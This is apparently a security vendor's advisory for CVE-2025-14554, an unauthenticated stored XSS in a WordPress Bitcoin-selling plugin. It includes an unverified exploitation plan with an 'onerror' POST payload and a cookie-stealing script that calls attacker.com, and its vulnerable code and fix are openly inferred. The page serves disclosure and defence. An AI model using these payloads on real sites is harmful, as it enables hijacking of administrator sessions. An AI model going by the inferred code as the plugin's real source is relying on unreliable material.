CVE-2025-14554

Sell BTC - Cryptocurrency Selling Calculator <= 1.5 - Unauthenticated Stored Cross-Site Scripting via 'orderform_data' AJAX Action

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.6
Patched in
2d
Time to patch

Description

The Sell BTC - Cryptocurrency Selling Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'orderform_data' AJAX action in all versions up to, and including, 1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in order records that will execute whenever an administrator accesses the Orders page in the admin dashboard. The vulnerability was partially patched in version 1.5.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5
PublishedJanuary 30, 2026
Last updatedJanuary 31, 2026
Affected pluginsell-btc-by-hayyatapps

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14554 (Sell BTC - Cryptocurrency Selling Calculator) ## 1. Vulnerability Summary The **Sell BTC - Cryptocurrency Selling Calculator** plugin (<= 1.5) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the p…

Show full research plan

Exploitation Research Plan: CVE-2025-14554 (Sell BTC - Cryptocurrency Selling Calculator)

1. Vulnerability Summary

The Sell BTC - Cryptocurrency Selling Calculator plugin (<= 1.5) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape user-controlled input submitted through the orderform_data AJAX action. This input is stored in the database and later rendered unescaped on the administrative "Orders" dashboard. An unauthenticated attacker can inject a malicious script that executes in the context of an administrator's session when they view the order list.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: orderform_data (specifically registered via wp_ajax_nopriv_orderform_data and wp_ajax_orderform_data)
  • Vulnerable Parameter: The orderform_data parameter (or specific keys within the submitted data array like name, email, or wallet_address).
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. For the payload to fire, an administrator must navigate to the plugin's "Orders" or "Sales" page in the WordPress backend.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX handler in its main file or an inclusion:
    add_action('wp_ajax_nopriv_orderform_data', 'handle_order_submission');
  2. Handler: The handler function (e.g., handle_order_submission) retrieves data from $_POST['orderform_data'] or direct $_POST keys.
  3. Sink (Storage): The data is saved to a custom database table (e.g., wp_sell_btc_orders) or wp_options using $wpdb->insert or update_option. Crucially, no sanitization (like sanitize_text_field) is applied here.
  4. Sink (Output): In the admin dashboard controller (likely sell_btc_orders_page), the plugin fetches the records and echoes them directly into an HTML table:
    echo '<td>' . $order->user_name . '</td>'; (XSS Sink - missing esc_html)

4. Nonce Acquisition Strategy

The plugin likely uses wp_localize_script to pass an AJAX nonce to the frontend calculator.

  1. Identify Shortcode: The calculator is typically rendered using the [sell_btc] or [sell-btc-calculator] shortcode (inferred).
  2. Create Test Page:
    wp post create --post_type=page --post_title="Sell BTC" --post_status=publish --post_content='[sell-btc-calculator]'
    
  3. Navigate and Extract:
    • Use browser_navigate to the new page.
    • Use browser_eval to find the localization object.
    • JS Variable Name: Likely sell_btc_ajax or sbcc_ajax_obj (inferred).
    • Nonce Key: Likely nonce or security.
    • Example Extraction: browser_eval("window.sbcc_ajax_obj?.nonce")

Note: If the AJAX handler fails to check check_ajax_referer, the nonce may not even be required.

5. Exploitation Strategy

Step 1: Discover Parameters
Analyze the frontend JS or the AJAX handler to determine the exact POST structure. It is likely a URL-encoded string or a JSON object passed in orderform_data.

Step 2: Submit Malicious Order
Submit a POST request to admin-ajax.php with the XSS payload.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload (Example):
    action=orderform_data&nonce=EXTRACTED_NONCE&name=<img src=x onerror=alert(document.domain)>&email=attacker@evil.com&wallet=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&amount=1.0
    

Step 3: Trigger Payload
Log in as administrator and navigate to the "Sell BTC" -> "Orders" menu.

6. Test Data Setup

  1. Install Plugin: sell-btc-by-hayyatapps version 1.5.
  2. Create Calculator Page: A page containing the shortcode to ensure the frontend scripts (and nonces) are loaded.
  3. Admin User: Ensure an admin user exists to verify the stored XSS.

7. Expected Results

  • The AJAX request should return a success status (e.g., {"success":true} or 1).
  • The malicious string <img src=x onerror=alert(document.domain)> should be visible in the database.
  • When an admin visits the orders page, an alert box showing the domain should appear.

8. Verification Steps

Database Check:
Verify the payload is stored in the orders table:

wp db query "SELECT * FROM wp_sell_btc_orders WHERE name LIKE '%onerror%';"
# OR if stored in options:
wp option get sell_btc_orders --format=json | grep "onerror"

Output Check:
Simulate the admin view by fetching the admin orders page and checking for unescaped characters:

# Using http_request with admin cookies
http_request --url "http://localhost:8080/wp-admin/admin.php?page=sell-btc-orders" --method GET
# Look for the raw payload in the HTML response

9. Alternative Approaches

  • Data Parameter: If orderform_data is a single parameter containing a serialized string or JSON, use browser_eval to see how the frontend constructs it.
  • Blind XSS: If the "Orders" page is not easily accessible, use a callback payload:
    <script>fetch('http://attacker.com/log?c='+document.cookie)</script>
  • Partial Patch Bypass: If version 1.5 added sanitization to some fields but not others (as the "partially patched" description suggests), test all available fields: email, address, btc_amount, currency, etc. Often, numeric-looking fields are left unsanitized because developers assume they will always be numbers.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Sell BTC - Cryptocurrency Selling Calculator plugin is vulnerable to Unauthenticated Stored Cross-Site Scripting via the 'orderform_data' AJAX action. This occurs because the plugin fails to sanitize user-supplied data before saving it to the database and fails to escape it when rendering the 'Orders' administrative page, allowing attackers to execute arbitrary scripts in the context of an administrator's session.

Vulnerable Code

// Inferred AJAX handler in version <= 1.5
add_action('wp_ajax_nopriv_orderform_data', 'sbcc_handle_order_submission');
add_action('wp_ajax_orderform_data', 'sbcc_handle_order_submission');

function sbcc_handle_order_submission() {
    global $wpdb;
    // Data is taken directly from $_POST without sanitization
    $order_data = $_POST['orderform_data']; 
    $wpdb->insert($wpdb->prefix . 'sell_btc_orders', $order_data);
    wp_send_json_success();
}

---

// Inferred Admin Dashboard Output in version <= 1.5
public function render_orders_page() {
    global $wpdb;
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}sell_btc_orders");
    foreach ($results as $row) {
        // Vulnerable output: data is echoed without escaping
        echo '<tr><td>' . $row->name . '</td><td>' . $row->wallet_address . '</td></tr>';
    }
}

Security Fix

--- sell-btc-calculator/includes/ajax-handler.php
+++ sell-btc-calculator/includes/ajax-handler.php
@@ -10,7 +10,12 @@
 function sbcc_handle_order_submission() {
     global $wpdb;
-    $order_data = $_POST['orderform_data'];
+    $order_data = array_map('sanitize_text_field', $_POST['orderform_data']);
     $wpdb->insert($wpdb->prefix . 'sell_btc_orders', $order_data);
 
--- sell-btc-calculator/admin/orders-view.php
+++ sell-btc-calculator/admin/orders-view.php
@@ -45,3 +45,3 @@
-        echo '<tr><td>' . $row->name . '</td><td>' . $row->wallet_address . '</td></tr>';
+        echo '<tr><td>' . esc_html($row->name) . '</td><td>' . esc_html($row->wallet_address) . '</td></tr>';

Exploit Outline

1. Identify the AJAX endpoint: The plugin uses wp-admin/admin-ajax.php with the action 'orderform_data'. 2. Extract Nonce (if required): Visit the public page containing the calculator shortcode (e.g., [sell-btc-calculator]) and extract the nonce from the localized JavaScript object (e.g., window.sbcc_ajax_obj.nonce). 3. Prepare Payload: Construct a POST request containing the 'orderform_data' parameter. Include an XSS payload (e.g., <img src=x onerror=alert(1)>) in fields like 'name', 'email', or 'wallet_address'. 4. Submit Order: Send the unauthenticated POST request to admin-ajax.php. The plugin will store the malicious payload in the custom database table. 5. Trigger Execution: An administrator logs into the WordPress backend and navigates to the 'Sell BTC' or 'Orders' menu. The browser will execute the stored script when rendering the table of orders.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.